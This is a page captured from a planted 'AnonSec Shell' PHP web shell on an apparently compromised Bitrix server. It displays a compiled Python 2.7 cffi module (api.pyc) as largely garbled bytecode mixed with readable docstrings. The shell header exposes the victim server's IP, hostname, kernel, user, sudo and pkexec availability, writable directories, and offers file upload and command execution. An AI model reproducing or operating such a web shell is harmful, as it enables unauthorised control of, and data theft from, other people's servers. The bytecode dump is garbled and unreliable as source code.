AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.144.41.66
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/977/root/usr/lib64/python2.7/site-packages/cffi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/977/root/usr/lib64/python2.7/site-packages/cffi/api.pyc
�
p�Wc@s�ddlZddlZddlmZyeWn*ek
r\ddlmZd�ZnXyeWnek
r~e	ZnXde
fd��YZde
fd	��YZd
e
fd��YZd�Zd
�Zd�ZdS(i����Ni(t
allocate_lock(tCallablecCs
t|t�S(N(t
isinstanceR(tx((s./usr/lib64/python2.7/site-packages/cffi/api.pyt<lambda>	stFFIErrorcBseZRS((t__name__t
__module__(((s./usr/lib64/python2.7/site-packages/cffi/api.pyRst	CDefErrorcBseZd�ZRS(cCsVyd|jdjjf}Wn tttfk
r@d}nXd||jdfS(Ns	line %d: its%s%si(targstcoordtlinetAttributeErrort	TypeErrort
IndexError(tselfR((s./usr/lib64/python2.7/site-packages/cffi/api.pyt__str__s

(RRR(((s./usr/lib64/python2.7/site-packages/cffi/api.pyRstFFIcBseZdZd5d�Zeed�Zed�Zed�Zdd�Z	d�Z
ed�Zd	�Zd
�Z
d�Zd�Zd5d
�Zd5d5ed�Zd�Zdd�Zd�Zdd�Zd�Zd�Zd5d5d5d�Zdd�Zd�Zd�Zdd5d�Zd�Zd�Ze eed5d�Z!dd�Z"d �Z#d!�Z$d"�Z%d#�Z&d$�Z'd%�Z(d&�Z)d'�Z*d(�Z+d)d*�Z,d+ed,�Z-d-�Z.d.�Z/d/dd5d0�Z0d1�Z1d2�Z2d3�Z3d4�Z4RS(6s�
    The main top-level class that you instantiate once, or once per module.

    Example usage:

        ffi = FFI()
        ffi.cdef("""
            int printf(const char *, ...);
        """)

        C = ffi.dlopen(None)   # standard library
        -or-
        C = ffi.verify()  # use a C compiler: verify the decl above is right

        C.printf("hello, %s!\n", ffi.new("char[]", "world"))
    cCs+ddlm}m}|dkriddl}ddlm}|j|ksitd|j|f��n||_t�|_	|j
�|_i|_t
jd�j|_t
jd�j|_g|_g|_g|_g|_d|_i|_d|_d|_t|d	�r'|j|�nx<|jD]1}|jd
�r1t||t||��q1q1W|j	�/|j|j �|_!|j|j"�|_#WdQXt$|t
j�r�tt%d�s'|j&|j!d�t%_'|j(�\t%_)t%_*q'n0|j&|j!d�|_'|j(�\|_)|_*dS(
s{Create an FFI instance.  The 'backend' argument is used to
        select a non-default backend, mostly for tests.
        i(tcparsertmodeli����N(t__version__sversion mismatch, %s != %stparsed_typest	new_typestset_ffitRTLD_tNULLi(+R	RRtNonet
_cffi_backendRtAssertionErrort_backendRt_locktParsert_parsert_cached_btypesttypest
ModuleTypet__dict__t
_parsed_typest
_new_typest_function_cachest
_librariest_cdefsourcest_included_ffist_windows_unicodet_init_once_cachet
_cdef_versiont
_embeddingthasattrRt
startswithtsetattrtgetattrt_get_cached_btypet
voidp_typetBVoidPtchar_array_typetBCharARRtcastRt
_get_typestCDatatCType(RtbackendRRRtname((s./usr/lib64/python2.7/site-packages/cffi/api.pyt__init__0sD										 
cCs|j|d|d|�dS(s�Parse the given C source.  This registers all declared functions,
        types, and global variables.  The functions and global variables can
        then be accessed via either 'ffi.dlopen()' or 'ffi.verify()'.
        The types can be used in 'ffi.new()' and other functions.
        If 'packed' is specified as True, all structs declared inside this
        cdef are packed, i.e. laid out without any field alignment at all.
        toverridetpackedN(t_cdef(RtcsourceR@RA((s./usr/lib64/python2.7/site-packages/cffi/api.pytcdefascCs8|j|d|dt�|jdkr4d|_ndS(NRAt	dllexportR	(RBtTrueR/R(RRCRA((s./usr/lib64/python2.7/site-packages/cffi/api.pyt
embedding_apiksc	Ks�t|t�s?t|t�s-td��n|jd�}n|j��t�|_|jj	|d||�|j
j|�|r�x|jD]}|j
�q�Wn|jj}|r�g|j_x!|D]}|j||�q�WnWdQXdS(Ns cdef() argument must be a stringtasciiR@(Rtstrt
basestringRtencodeRtobjectR.R!tparseR*tappendR(tcleart_recompletetfinish_backend_type(RRCR@toptionstcachet
finishlistttp((s./usr/lib64/python2.7/site-packages/cffi/api.pyRBps 

ic	Csmt|t�s!|dks!t�|j�=t|||�\}}|jj|�|jj|�WdQX|S(sHLoad and return a dynamic library identified by 'name'.
        The standard C library can be loaded by passing None.
        Note that functions and types declared by 'ffi.cdef()' are not
        linked to a particular library, just like C headers; in the
        library we only look for the actual (untyped) symbols.
        N(	RRJRRRt_make_ffi_libraryR(RNR)(RR>tflagstlibtfunction_cache((s./usr/lib64/python2.7/site-packages/cffi/api.pytdlopen�s!
cCs�|}||jkr |j|St|t�sA|jd�}n|jj|�}|j}|rq|j�}n|j|�}||f}||j|<|S(NRH(	R&RRIRKR!t
parse_typetis_raw_functiontas_function_pointerR4(Rtcdecltkeyttypetreally_a_function_typetbtypetresult((s./usr/lib64/python2.7/site-packages/cffi/api.pyt_typeof_locked�s	
cCswy|j|}Wn0tk
rC|j�|j|�}WdQXnX|\}}|rs|rstd|f��n|S(Ns>the type %r is a function type, not a pointer-to-function type(R&tKeyErrorRRdR(RR^tconsider_function_as_funcptrRcRbRa((s./usr/lib64/python2.7/site-packages/cffi/api.pyt_typeof�s


cCs�t|t�r|j|�St||j�r>|jj|�St|tj�rot|�}|dk	ro|Snt|tj
�r�t|d�r�|j�|j
|j�SWdQXntt|���dS(s�Parse the C type given as a string and return the
        corresponding <ctype> object.
        It can also be used on 'cdata' instance to get its C type.
        t_cffi_base_typeN(RRJRgR;RttypeofR#tBuiltinFunctionTypet_builtin_function_typeRtFunctionTypeR0RR4RhRR`(RR^tres((s./usr/lib64/python2.7/site-packages/cffi/api.pyRi�s

cCsBt|t�r.|j|�}|jj|�S|jj|�SdS(svReturn the size in bytes of the argument.  It can be a
        string naming a C type, or a 'cdata' instance.
        N(RRJRgRtsizeof(RR^tBType((s./usr/lib64/python2.7/site-packages/cffi/api.pyRn�scCs1t|t�r!|j|�}n|jj|�S(s\Return the natural alignment size in bytes of the C type
        given as a string.
        (RRJRgRtalignof(RR^((s./usr/lib64/python2.7/site-packages/cffi/api.pyRp�scGs5t|t�r!|j|�}n|j||�dS(s5Return the offset of the named field inside the given
        structure or array, which must be given as a C type name.  
        You can give several field names in case of nested structures.
        You can also give numeric values which correspond to array
        items, in case of an array type.
        i(RRJRgt
_typeoffsetof(RR^tfields_or_indexes((s./usr/lib64/python2.7/site-packages/cffi/api.pytoffsetof�scCs4t|t�r!|j|�}n|jj||�S(s�Allocate an instance according to the specified C type and
        return a pointer to it.  The specified C type must be either a
        pointer or an array: ``new('X *')`` allocates an X and returns
        a pointer to it, whereas ``new('X[n]')`` allocates an array of
        n X'es and returns an array referencing it (which works
        mostly like a pointer, like in C).  You can also use
        ``new('X[]', n)`` to allocate an array of a non-constant
        length n.

        The memory is initialized following the rules of declaring a
        global variable in C: by default it is zero-initialized, but
        an explicit initializer can be given which can be used to
        fill all or part of the memory.

        When the returned <cdata> object goes out of scope, the memory
        is freed.  In other words the returned <cdata> object has
        ownership of the value of type 'cdecl' that it points to.  This
        means that the raw data can be used as long as this object is
        kept alive, but must not be used for a longer time.  Be careful
        about that when copying the pointer to the memory somewhere
        else, e.g. into another structure.
        (RRJRgRtnewp(RR^tinit((s./usr/lib64/python2.7/site-packages/cffi/api.pytnew�scs=�jj�}|j|||��d��fd�}|S(s�Return a new allocator, i.e. a function that behaves like ffi.new()
        but uses the provided low-level 'alloc' and 'free' functions.

        'alloc' is called with the size as argument.  If it returns NULL, a
        MemoryError is raised.  'free' is called with the result of 'alloc'
        as argument.  Both can be either Python function or directly C
        functions.  If 'free' is None, then no free function is called.
        If both 'alloc' and 'free' are None, the default is used.

        If 'should_clear_after_alloc' is set to False, then the memory
        returned by 'alloc' is assumed to be already cleared (or you are
        fine with garbage); otherwise CFFI will clear it.
        cs.t|t�r!�j|�}n�||�S(N(RRJRg(R^Ru(t	allocatorR(s./usr/lib64/python2.7/site-packages/cffi/api.pytallocate
sN(RRt
new_allocatorR(Rtalloctfreetshould_clear_after_alloctcompiled_ffiRx((RwRs./usr/lib64/python2.7/site-packages/cffi/api.pyRy�s
	cCs4t|t�r!|j|�}n|jj||�S(s�Similar to a C cast: returns an instance of the named C
        type initialized with the given 'source'.  The source is
        casted between integers or pointers of any type.
        (RRJRgRR9(RR^tsource((s./usr/lib64/python2.7/site-packages/cffi/api.pyR9si����cCs|jj||�S(s�Return a Python string (or unicode string) from the 'cdata'.
        If 'cdata' is a pointer or array of characters or bytes, returns
        the null-terminated string.  The returned string extends until
        the first null character, or at most 'maxlen' characters.  If
        'cdata' is an array then 'maxlen' defaults to its length.

        If 'cdata' is a pointer or array of wchar_t, returns a unicode
        string following the same rules.

        If 'cdata' is a single character or byte or a wchar_t, returns
        it as a string or unicode string.

        If 'cdata' is an enum, returns the value of the enumerator as a
        string, or 'NUMBER' if the value is out of range.
        (Rtstring(Rtcdatatmaxlen((s./usr/lib64/python2.7/site-packages/cffi/api.pyRscCs|jj||�S(sMUnpack an array of C data of the given length, 
        returning a Python string/unicode/list.

        If 'cdata' is a pointer to 'char', returns a byte string.
        It does not stop at the first null.  This is equivalent to:
        ffi.buffer(cdata, length)[:]

        If 'cdata' is a pointer to 'wchar_t', returns a unicode string.
        'length' is measured in wchar_t's; it is not the size in bytes.

        If 'cdata' is a pointer to anything else, returns a list of
        'length' items.  This is a faster equivalent to:
        [cdata[i] for i in range(length)]
        (Rtunpack(RR�tlength((s./usr/lib64/python2.7/site-packages/cffi/api.pyR�.scCs|jj||�S(s�Return a read-write buffer object that references the raw C data
        pointed to by the given 'cdata'.  The 'cdata' must be a pointer or
        an array.  Can be passed to functions expecting a buffer, or directly
        manipulated with:

            buf[:]          get a copy of it in a regular string, or
            buf[idx]        as a single character
            buf[:] = ...
            buf[idx] = ...  change the content
        (Rtbuffer(RR�tsize((s./usr/lib64/python2.7/site-packages/cffi/api.pyR�?scCs|jj|j|�S(s�Return a <cdata 'char[]'> that points to the data of the
        given Python object, which must support the buffer interface.
        Note that this is not meant to be used on the built-in types str,
        unicode, or bytearray (you can build 'char[]' arrays explicitly)
        but only on objects containing large quantities of raw data
        in some other format, like 'array.array' or numpy arrays.
        (Rtfrom_bufferR8(Rt
python_buffer((s./usr/lib64/python2.7/site-packages/cffi/api.pyR�LscCs|jj|||�S(s_ffi.memmove(dest, src, n) copies n bytes of memory from src to dest.

        Like the C function memmove(), the memory areas may overlap;
        apart from that it behaves like the C function memcpy().

        'src' can be any cdata ptr or array, or any Python buffer object.
        'dest' can be any cdata ptr or array, or a writable Python buffer
        object.  The size to copy, 'n', is always measured in bytes.

        Unlike other methods, this one supports all Python buffer including
        byte strings and bytearrays---but it still does not support
        non-contiguous buffers.
        (Rtmemmove(Rtdesttsrctn((s./usr/lib64/python2.7/site-packages/cffi/api.pyR�Vscs]����fd�}t�t�r?�j�dt��n|dkrO|S||�SdS(s�Return a callback object or a decorator making such a
        callback object.  'cdecl' must name a C function pointer type.
        The callback invokes the specified 'python_callable' (which may
        be provided either directly or via a decorator).  Important: the
        callback object must be manually kept alive for as long as the
        callback may be invoked from the C level.
        cs4t|�std��n�jj�|���S(Ns.the 'python_callable' argument is not callable(tcallableRRtcallback(tpython_callable(R^terrortonerrorR(s./usr/lib64/python2.7/site-packages/cffi/api.pytcallback_decorator_wrapnsRfN(RRJRgRFR(RR^R�R�R�R�((R^R�R�Rs./usr/lib64/python2.7/site-packages/cffi/api.pyR�fsR	cCs�t|t�r!|j|�}n|j�}|jd�rdd|jj|d�krdd|}n#|r�|ddkr�d|}n|jj||�S(s.Return a string giving the C type 'cdecl', which may be itself
        a string or a <ctype> object.  If 'replace_with' is given, it gives
        extra text to append (or insert for more complicated C types), like
        a variable name, or '*' to get actually the C type 'pointer-to-cdecl'.
        t*s&[t&s(%s)is[(t (RRJRgtstripR1Rtgetcname(RR^treplace_with((s./usr/lib64/python2.7/site-packages/cffi/api.pytgetctype{s

c	Cs�y|jj}Wntk
r#nX|||�S|j�Yy
|j}Wn4tk
r~ddlm}||�}|_nX|j||�SWdQXdS(s�Return a new cdata object that points to the same
        data.  Later, when this new cdata object is garbage-collected,
        'destructor(old_cdata_object)' will be called.
        i(t
GcWeakrefsN(RtgcpR
Rtgc_weakrefst
gc_weakrefR�tbuild(RR�t
destructorR�R�R�((s./usr/lib64/python2.7/site-packages/cffi/api.pytgc�s




cCs�|jjt�tkst�y|j|}WnJtk
r{g}|j||�}x"|D]}|j||�q^WnX|S(N(RtacquiretFalseRR"Retget_cached_btypeRQ(RR`RoRT((s./usr/lib64/python2.7/site-packages/cffi/api.pyR4�s

cKsyddlm}m}|jr/|j|�n|p;|�}|||||�|_|jj�}|jj|�|S(s�Verify that the current ffi signatures compile on this
        machine, and return a dynamic library object.  The dynamic
        library can be used to call functions and access global
        variables declared in this 'ffi'.  The library is compiled
        by the C compiler: it gives you C-level API compatibility
        (including calling macros).  This is unlike 'ffi.dlopen()',
        which requires binary compatibility in the signatures.
        i(tVerifiert_caller_dir_pycache(tverifierR�R�R,t_apply_windows_unicodetload_libraryR)RN(RR~ttmpdirtkwargsR�R�RX((s./usr/lib64/python2.7/site-packages/cffi/api.pytverify�s		cCs
|jj�S(N(Rt	get_errno(R((s./usr/lib64/python2.7/site-packages/cffi/api.pyt
_get_errno�scCs|jj|�dS(N(Rt	set_errno(Rterrno((s./usr/lib64/python2.7/site-packages/cffi/api.pyt
_set_errno�ss(the value of 'errno' from/to the C callscCs|jj|�S(N(Rtgetwinerror(Rtcode((s./usr/lib64/python2.7/site-packages/cffi/api.pyR��scCs4ddlm}|j�|j||�SWdQXdS(Ni(R(R	RRt
pointer_cache(RtctypeR((s./usr/lib64/python2.7/site-packages/cffi/api.pyt_pointer_to�s
cGs||jj|�}|r3|j||�\}}n$|jdkrQtd��nd}|j|�}|jj|||�S(s�Return the address of a <cdata 'struct-or-union'>.
        If 'fields_or_indexes' are given, returns the address of that
        field or array item in the structure or array, recursively in
        case of nested structures.
        tpointersaddressof(pointer)i(RRiRqtkindRR�trawaddressof(RR�RrR�toffsettctypeptr((s./usr/lib64/python2.7/site-packages/cffi/api.pyt	addressof�scGs^|jj||�\}}x6|D].}|jj||d�\}}||7}q"W||fS(Ni(Rttypeoffsetof(RR�tfield_or_indexRrR�tfield1toffset1((s./usr/lib64/python2.7/site-packages/cffi/api.pyRq�s

c
Cs�t|t�s.tdt|�jf��n||krItd��n|j�k|j�[|jj|j�|j	j
d�|j	j|j	�|j	j
d�|jj
|�WdQXWdQXdS(s�Includes the typedefs, structs, unions and enums defined
        in another FFI instance.  Usage is similar to a #include in C,
        where a part of the program might include types defined in
        another part for its own usage.  Note that the include()
        method has no effect on functions, constants and global
        variables, which must anyway be accessed directly from the
        lib object returned by the original FFI instance.
        sGffi.include() expects an argument that is also of type cffi.FFI, not %rsself.include(self)t[t]N(
RRRR`Rt
ValueErrorRR!tincludeR*RNtextendR+(Rtffi_to_include((s./usr/lib64/python2.7/site-packages/cffi/api.pyR��s	

cCs|jj|j|�S(N(Rtnewp_handleR6(RR((s./usr/lib64/python2.7/site-packages/cffi/api.pyt
new_handlescCs|jj|�S(N(Rtfrom_handle(RR((s./usr/lib64/python2.7/site-packages/cffi/api.pyR�	scCsZ|jdk	rtd��nt|�}|r@|jd�n
|jd�||_dS(scWindows: if 'enabled_flag' is True, enable the UNICODE and
        _UNICODE defines in C, and declare the types like TCHAR and LPTCSTR
        to be (pointers to) wchar_t.  If 'enabled_flag' is False,
        declare these types to be (pointers to) plain 8-bit characters.
        This is mostly for backward compatibility; you usually want True.
        s%set_unicode() can only be called onces�typedef wchar_t TBYTE;typedef wchar_t TCHAR;typedef const wchar_t *LPCTSTR;typedef const wchar_t *PCTSTR;typedef wchar_t *LPTSTR;typedef wchar_t *PTSTR;typedef TBYTE *PTBYTE;typedef TCHAR *PTCHAR;s�typedef char TBYTE;typedef char TCHAR;typedef const char *LPCTSTR;typedef const char *PCTSTR;typedef char *LPTSTR;typedef char *PTSTR;typedef TBYTE *PTBYTE;typedef TCHAR *PTCHAR;N(R,RR�tboolRD(Rtenabled_flag((s./usr/lib64/python2.7/site-packages/cffi/api.pytset_unicodes	
cCsZ|jdd�}t|ttf�s6td��nt|�ddg}||d<dS(	Nt
define_macross''define_macros' must be a list or tupletUNICODEt1t_UNICODE((sUNICODER�(R�R�(tgetRtlistttupleR(Rtkwdst	defmacros((s./usr/lib64/python2.7/site-packages/cffi/api.pyR�*s
cs��fd�}dtjkr�ddl}tjdkrsd}ttd�r�|d|jjtjd��q�n7d	}ttd�r�|d|jjtjd
��nttd�r�|d|jjtjdd��q�n�tjdkrd
}ttd�rt|d7}qtn_yddl}Wn!t	k
rHddl
m}nXd}|jd�rt||jd�7}n|tjd?tjd?d@f}ttd�r�|tj
7}n|d|�tjdkr�|dd�ndS(Ncs2�j|g�}||kr.|j|�ndS(N(t
setdefaultRN(R_tvaluetlst(R�(s./usr/lib64/python2.7/site-packages/cffi/api.pytensure4st__pypy__i����twin32tpython27tprefixtlibrary_dirstlibsspypy-ctbintpypytgoals
python%d%dtgettotalrefcountt_d(t	sysconfigspython%d.%dt	DEBUG_EXTiii�tabiflagst	librariestextra_link_argss	/MANIFEST(tsystbuiltin_module_namestostplatformR0tpathtjoinR�R�tImportErrort	distutilstget_config_vart
hexversionR�(RR�R�R�t	pythonlibttemplateR�((R�s./usr/lib64/python2.7/site-packages/cffi/api.pyt_apply_embedding_fix2s<%"(

s.ccKs[t|d�rtd��nt|t�s<td��nt|�|||f|_dS(Nt_assigned_sources:set_source() cannot be called several times per ffi objects'module_name' must be a string(R0R�RRJRRIR�(Rtmodule_nameR~tsource_extensionR�((s./usr/lib64/python2.7/site-packages/cffi/api.pyt
set_sourceasR�c
Csddlm}ddlm}t|d�sZt|d�rK|jj�Std��n|j\}}}}|dkr�t
d��n||�||||d	|d
|d|dt|�\}	}
|r|
r�tj
jd
|	jdf�qtj
jd|	jdf�n|	S(Ni����(tmkpathi(t	recompileR�R�s8set_source() must be called before distutils_extension()sadistutils_extension() is only for C extension modules, not for dlopen()-style pure Python modulesR�textradirR�tcall_c_compilersregenerated: %r
isnot modified: %r
(tdistutils.dir_utilR�t
recompilerR�R0R�t
get_extensionR�R�RRR�R�tstderrtwritetsources(RR�tverboseR�R�R�R~R�R�texttupdated((s./usr/lib64/python2.7/site-packages/cffi/api.pytdistutils_extensionjs&

	!!c	Cs�ddlm}t|d�s.td��n|j\}}}}|dkr^td��n||||d|dt|�dS(Ni(R�R�s0set_source() must be called before emit_c_code()sYemit_c_code() is only for C extension modules, not for dlopen()-style pure Python modulestc_fileR�(R�R�R0R�R�RRR�(RtfilenameR�R�R~R�R�((s./usr/lib64/python2.7/site-packages/cffi/api.pytemit_c_code�sc	Cs�ddlm}t|d�s.td��n|j\}}}}|dk	r^td��n||||d|dt|�dS(Ni(R�R�s0set_source() must be called before emit_c_code()s^emit_python_code() is only for dlopen()-style pure Python modules, not for C extension modulesRR�(R�R�R0R�R�RRR�(RRR�R�R~R�R�((s./usr/lib64/python2.7/site-packages/cffi/api.pytemit_python_code�st.c	
Csnddlm}t|d�s.td��n|j\}}}}||||d|d|d|d||�S(	s�The 'target' argument gives the final file name of the
        compiled DLL.  Use '*' to force distutils' choice, suitable for
        regular CPython C API modules.  Use a file name ending in '.*'
        to ask for the system's default extension for dynamic libraries
        (.so/.dll/.dylib).

        The default is '*' when building a non-embedded C API extension,
        and (module_name + '.*') when building an embedded library.
        i(R�R�s,set_source() must be called before compile()R�ttargetR�tcompiler_verbose(R�R�R0R�R�(	RR�RRR�R�R~R�R�((s./usr/lib64/python2.7/site-packages/cffi/api.pytcompile�s
cCs�y|j|}Wn/tk
rB|jj|tt�f�}nX|drU|dS|d�@|j|}|dr|dS|�}t|f|j|<WdQX|S(Nii(R-ReR�R�RRF(RtfuncttagRRc((s./usr/lib64/python2.7/site-packages/cffi/api.pyt	init_once�s
"


	cCs2|jrtd��nddl}|jd|�}|rO||j�}n|j�padg}|jd|d�j�}xVtdt|��D]?}||}|j	�r�x |j
|�s�|d }q�Wq�q�Wt|�}g|D]}||d^q�}dj|�}t|d	d
�||_dS(Ns-embedding_init_code() can only be called oncei����s\s*\nR	s\s*iis
t	cffi_inittexec(
R/R�tretmatchtendt
splitlinestgrouptrangetlentrstripR1R�R(RtpysourceRRtlinesR�tiR((s./usr/lib64/python2.7/site-packages/cffi/api.pytembedding_init_code�s$	
!cOstd��dS(Ns:ffi.def_extern() is only available on API-mode FFI objects(R�(RR
R�((s./usr/lib64/python2.7/site-packages/cffi/api.pyt
def_extern�scCs�g}g}g}x}|jjD]o}|jd�rH|j|d�q|jd�rk|j|d�q|jd�r|j|d�qqW|j�|j�|j�|||fS(s�Returns the user type names known to this FFI instance.
        This returns a tuple containing three lists of names:
        (typedef_names, names_of_structs, names_of_unions)
        stypedef isstruct isunion i(R!t
_declarationsR1RNtsort(RttypedefststructstunionsR_((s./usr/lib64/python2.7/site-packages/cffi/api.pyt
list_types�s


N(5RRt__doc__RR?R�RDRGRBRZRdRgRiRnRpRsRvRFRyR9RR�R�R�R�R�R�R�R4R�R�R�tpropertyR�R�R�R�RqR�R�R�R�R�R�R�RR	R
RRRR R&(((s./usr/lib64/python2.7/site-packages/cffi/api.pyRsb1
			
					
	
															/						cCs�|dkr4tjdkr+|jd|�Sd}nyBd|kred|kretd|f��n|j||�SWnNtk
r�ddl}|jj|�}|dkr��n|j||�SXdS(NR�tcRt/slibrary not found: %ri����(RR�R�R�tOSErrortctypes.utiltutiltfind_library(R=R>RWtctypesR�((s./usr/lib64/python2.7/site-packages/cffi/api.pyt_load_backend_lib�s	
csJddl}�j}t|||�����	fd�����fd��d����	fd��i�tg���������	fd������	�fd��
dtf���
�fd	��Y�|dk	r4y2t|t�s|jd
�}nd|�_	Wq4t
k
r0q4Xn���	�	�	jfS(Ni����cs�d|}�jj|\}}�j|�}y�j||�}Wn)tk
rp}td||f��nX|�j|<dS(Ns	function s%s: %s(R!R!R4t
load_functionReR
R%(R>R_RUt_RoR�te(t
backendlibtffitlibrary(s./usr/lib64/python2.7/site-packages/cffi/api.pytaccessor_functions
cs|d�}�jj|\}}�j|���j��j�t��t���fd����fd���dS(Ns	variable cs
����S(N((R(RoR>t
read_variable(s./usr/lib64/python2.7/site-packages/cffi/api.pyR!scs���|�S(N((RR�(RoR>twrite_variable(s./usr/lib64/python2.7/site-packages/cffi/api.pyR"s(R!R!R4R8R9R2R((R>R_RUR2(t
FFILibraryR4R5(RoR>R8R9s./usr/lib64/python2.7/site-packages/cffi/api.pytaccessor_variables
		cSstd|f��dS(NsDnon-integer constant '%s' cannot be accessed from a dlopen() library(tNotImplementedError(R>((s./usr/lib64/python2.7/site-packages/cffi/api.pytaccessor_constant$scs�jj|�j|<dS(N(R!t_int_constantsR%(R>(R5R6(s./usr/lib64/python2.7/site-packages/cffi/api.pytaccessor_int_constant(sc	s?�d�jkrdSddlm}x��jjj�D]�\}\}}t||j�s�|jdd�\}}|dkr���|<q|dkr���|<q|dkr��|<qq:x<t	|j
�D]+\}}||�fd�}|�|<q�Wq:Wx$�jjD]}�j|��qW�j�d<dS(	Nii(RR�tfunctiontvariabletconstantcs"|j�|j|�j|<dS(N(tcheck_not_partialt
enumvaluesR%(R>RUR(R6(s./usr/lib64/python2.7/site-packages/cffi/api.pyt
accessor_enum>s
(
R.R	RR!R!titemsRtEnumTypetsplitt	enumeratetenumeratorsR>R�(	RR_RUR2RR>RtenumnameRE(R=R7R?R;t	accessorstaccessors_versionR5R6(s./usr/lib64/python2.7/site-packages/cffi/api.pytupdate_accessors.s$%

csu�j�f|�jks(|�jkr,dS|�kr]��|�kr]t|��q]n�||�WdQXdS(N(RR%R
(R>(R:RLR5R6RN(s./usr/lib64/python2.7/site-packages/cffi/api.pyt
make_accessorFs
R:cs;eZ�fd�Z�fd�Z���fd�ZRS(cs�|�t||�S(N(R3(RR>(RO(s./usr/lib64/python2.7/site-packages/cffi/api.pyt__getattr__Qs
csXyt|j|�}Wn+tk
rC�|�t|||�nX|j||�dS(N(R3t	__class__R
R2t__set__(RR>R�R((RO(s./usr/lib64/python2.7/site-packages/cffi/api.pyt__setattr__Ts

cs%�j����j�SWdQXdS(N(Rtkeys(R(RLR5RN(s./usr/lib64/python2.7/site-packages/cffi/api.pyt__dir__\s
(RRRPRSRU((RLR5RORN(s./usr/lib64/python2.7/site-packages/cffi/api.pyR:Pssutf-8s
FFILibrary_%s(R�RR0R�RLRRRIRKRtUnicodeErrorR%(R5tlibnameRWR�R=((R:R=R7R?R;RLRMR4R5R6RORNs./usr/lib64/python2.7/site-packages/cffi/api.pyRVs*	

		$
%
	cCs{ddl}y0|j|j}|j}|j}||}Wntttfk
rYdSX|j	�|j
|�SWdQXdS(Ni����(R�tmodulesRt_cffi_original_ffit_cffi_types_of_builtin_funcsReR
RRRR4(RR�tmoduleR5ttypes_of_builtin_funcsRU((s./usr/lib64/python2.7/site-packages/cffi/api.pyRkks		
(R�R#tlockRR�t	NameErrortcollectionsRRJRIt	ExceptionRRRLRR0RVRk(((s./usr/lib64/python2.7/site-packages/cffi/api.pyt<module>s$



	���		`

Anon7 - 2022
AnonSec Team